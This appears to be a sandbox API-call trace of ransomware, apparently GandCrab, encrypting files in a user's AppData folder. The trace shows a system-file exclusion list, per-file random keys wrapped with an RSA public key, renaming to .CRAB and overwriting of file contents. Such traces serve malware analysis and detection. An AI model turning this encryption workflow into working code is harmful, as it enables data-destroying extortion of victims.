	[0123.981] CryptGetKeyParam (in: hKey=0x3166720, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0123.981] CryptEncrypt (in: hKey=0x3166720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0123.981] GetLastError () returned 0x0
	[0123.981] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.981] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0123.982] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x31663e0) returned 1
	[0123.982] CryptGetKeyParam (in: hKey=0x31663e0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0123.982] CryptEncrypt (in: hKey=0x31663e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0123.982] GetLastError () returned 0x0
	[0123.982] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.982] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Q5xtIBb.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\q5xtibb.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0123.983] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.983] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.983] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x10fd, lpOverlapped=0x0) returned 1
	[0124.036] VirtualAlloc (lpAddress=0x0, dwSize=0x1100, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.037] VirtualAlloc (lpAddress=0x0, dwSize=0x1100, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.037] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.038] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffef03, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.038] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x1100, lpOverlapped=0x0) returned 1
	[0124.038] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.038] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.042] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.042] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.042] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0124.042] CloseHandle (hObject=0x3ec) returned 1
	[0124.042] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.043] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.043] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.043] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.043] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.044] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.044] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0124.044] lstrcmpW (lpString1="R1GjJAMZBhB.bmp", lpString2=".") returned 1
	[0124.044] lstrcmpW (lpString1="R1GjJAMZBhB.bmp", lpString2="..") returned 1
	[0124.044] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="R1GjJAMZBhB.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp"
	[0124.044] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.044] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp") returned 53
	[0124.044] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp") returned 53
	[0124.044] lstrlenW (lpString=".bmp") returned 4
	[0124.044] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.045] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".bmp ") returned 5
	[0124.045] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.045] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp") returned 53
	[0124.045] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp") returned 53
	[0124.045] lstrcmpiW (lpString1="R1GjJAMZBhB.bmp", lpString2="desktop.ini") returned 1
	[0124.045] lstrcmpiW (lpString1="R1GjJAMZBhB.bmp", lpString2="autorun.inf") returned 1
	[0124.045] lstrcmpiW (lpString1="R1GjJAMZBhB.bmp", lpString2="ntuser.dat") returned 1
	[0124.045] lstrcmpiW (lpString1="R1GjJAMZBhB.bmp", lpString2="iconcache.db") returned 1
	[0124.045] lstrcmpiW (lpString1="R1GjJAMZBhB.bmp", lpString2="bootsect.bak") returned 1
	[0124.045] lstrcmpiW (lpString1="R1GjJAMZBhB.bmp", lpString2="boot.ini") returned 1
	[0124.045] lstrcmpiW (lpString1="R1GjJAMZBhB.bmp", lpString2="ntuser.dat.log") returned 1
	[0124.045] lstrcmpiW (lpString1="R1GjJAMZBhB.bmp", lpString2="thumbs.db") returned -1
	[0124.045] lstrcmpiW (lpString1="R1GjJAMZBhB.bmp", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.045] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.046] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp.CRAB") returned 58
	[0124.046] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\r1gjjamzbhb.bmp")) returned 0x20
	[0124.046] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp", dwFileAttributes=0x20) returned 1
	[0124.046] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\r1gjjamzbhb.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\r1gjjamzbhb.bmp.crab")) returned 1
	[0124.047] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.047] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp.CRAB"
	[0124.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp.CRAB.CRAB"
	[0124.048] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e738) returned 1
	[0124.049] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.049] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.049] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.049] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0124.049] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0124.049] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.050] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e7c0) returned 1
	[0124.050] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.050] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.051] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.051] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0124.051] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0124.051] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.051] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.051] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.052] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0124.052] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166820) returned 1
	[0124.052] CryptGetKeyParam (in: hKey=0x3166820, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.052] CryptEncrypt (in: hKey=0x3166820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0124.052] GetLastError () returned 0x0
	[0124.052] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.053] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0124.053] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166860) returned 1
	[0124.053] CryptGetKeyParam (in: hKey=0x3166860, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.053] CryptEncrypt (in: hKey=0x3166860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0124.063] GetLastError () returned 0x0
	[0124.064] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.064] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\R1GjJAMZBhB.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\r1gjjamzbhb.bmp.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0124.064] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.066] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.067] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0x189f4, lpOverlapped=0x0) returned 1
	[0124.073] VirtualAlloc (lpAddress=0x0, dwSize=0x18a00, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.074] VirtualAlloc (lpAddress=0x0, dwSize=0x18a00, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0124.076] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.078] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffe760c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.078] WriteFile (in: hFile=0x3ec, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x18a00, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314c9b4*=0x18a00, lpOverlapped=0x0) returned 1
	[0124.079] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.079] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.083] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.083] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.083] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0124.083] CloseHandle (hObject=0x3ec) returned 1
	[0124.083] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.084] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.084] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.084] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.084] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.085] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.085] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0124.085] lstrcmpW (lpString1="RlCCh-GO1wqgJ-bEt.flv", lpString2=".") returned 1
	[0124.085] lstrcmpW (lpString1="RlCCh-GO1wqgJ-bEt.flv", lpString2="..") returned 1
	[0124.085] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="RlCCh-GO1wqgJ-bEt.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv"
	[0124.085] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.085] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv") returned 59
	[0124.085] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv") returned 59
	[0124.086] lstrlenW (lpString=".flv") returned 4
	[0124.086] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.086] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0124.086] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.086] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv") returned 59
	[0124.086] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv") returned 59
	[0124.086] lstrcmpiW (lpString1="RlCCh-GO1wqgJ-bEt.flv", lpString2="desktop.ini") returned 1
	[0124.086] lstrcmpiW (lpString1="RlCCh-GO1wqgJ-bEt.flv", lpString2="autorun.inf") returned 1
	[0124.086] lstrcmpiW (lpString1="RlCCh-GO1wqgJ-bEt.flv", lpString2="ntuser.dat") returned 1
	[0124.086] lstrcmpiW (lpString1="RlCCh-GO1wqgJ-bEt.flv", lpString2="iconcache.db") returned 1
	[0124.086] lstrcmpiW (lpString1="RlCCh-GO1wqgJ-bEt.flv", lpString2="bootsect.bak") returned 1
	[0124.086] lstrcmpiW (lpString1="RlCCh-GO1wqgJ-bEt.flv", lpString2="boot.ini") returned 1
	[0124.086] lstrcmpiW (lpString1="RlCCh-GO1wqgJ-bEt.flv", lpString2="ntuser.dat.log") returned 1
	[0124.086] lstrcmpiW (lpString1="RlCCh-GO1wqgJ-bEt.flv", lpString2="thumbs.db") returned -1
	[0124.087] lstrcmpiW (lpString1="RlCCh-GO1wqgJ-bEt.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.087] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.087] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv.CRAB") returned 64
	[0124.087] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\rlcch-go1wqgj-bet.flv")) returned 0x20
	[0124.087] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv", dwFileAttributes=0x20) returned 1
	[0124.087] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\rlcch-go1wqgj-bet.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\rlcch-go1wqgj-bet.flv.crab")) returned 1
	[0124.088] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.088] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv.CRAB"
	[0124.089] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv.CRAB.CRAB"
	[0124.089] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0124.089] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.090] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.090] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.090] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0124.090] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.090] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.090] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0124.091] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.091] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.091] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.091] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0124.091] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.091] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.091] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.092] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.092] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0124.093] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3166760) returned 1
	[0124.093] CryptGetKeyParam (in: hKey=0x3166760, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.093] CryptEncrypt (in: hKey=0x3166760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0124.093] GetLastError () returned 0x0
	[0124.093] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0124.093] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0124.094] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x31660a0) returned 1
	[0124.094] CryptGetKeyParam (in: hKey=0x31660a0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0124.094] CryptEncrypt (in: hKey=0x31660a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0124.094] GetLastError () returned 0x0
	[0124.094] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.094] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\RlCCh-GO1wqgJ-bEt.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\rlcch-go1wqgj-bet.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0124.095] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.095] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.095] ReadFile (in: hFile=0x3ec, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314c9c4*=0xb3e9, lpOverlapped=0x0) returned 1
	[0124.107] VirtualAlloc (lpAddress=0x0, dwSize=0xb3f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.108] VirtualAlloc (lpAddress=0x0, dwSize=0xb3f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.110] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.110] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff4c17, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.110] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xb3f0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0xb3f0, lpOverlapped=0x0) returned 1
	[0124.111] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
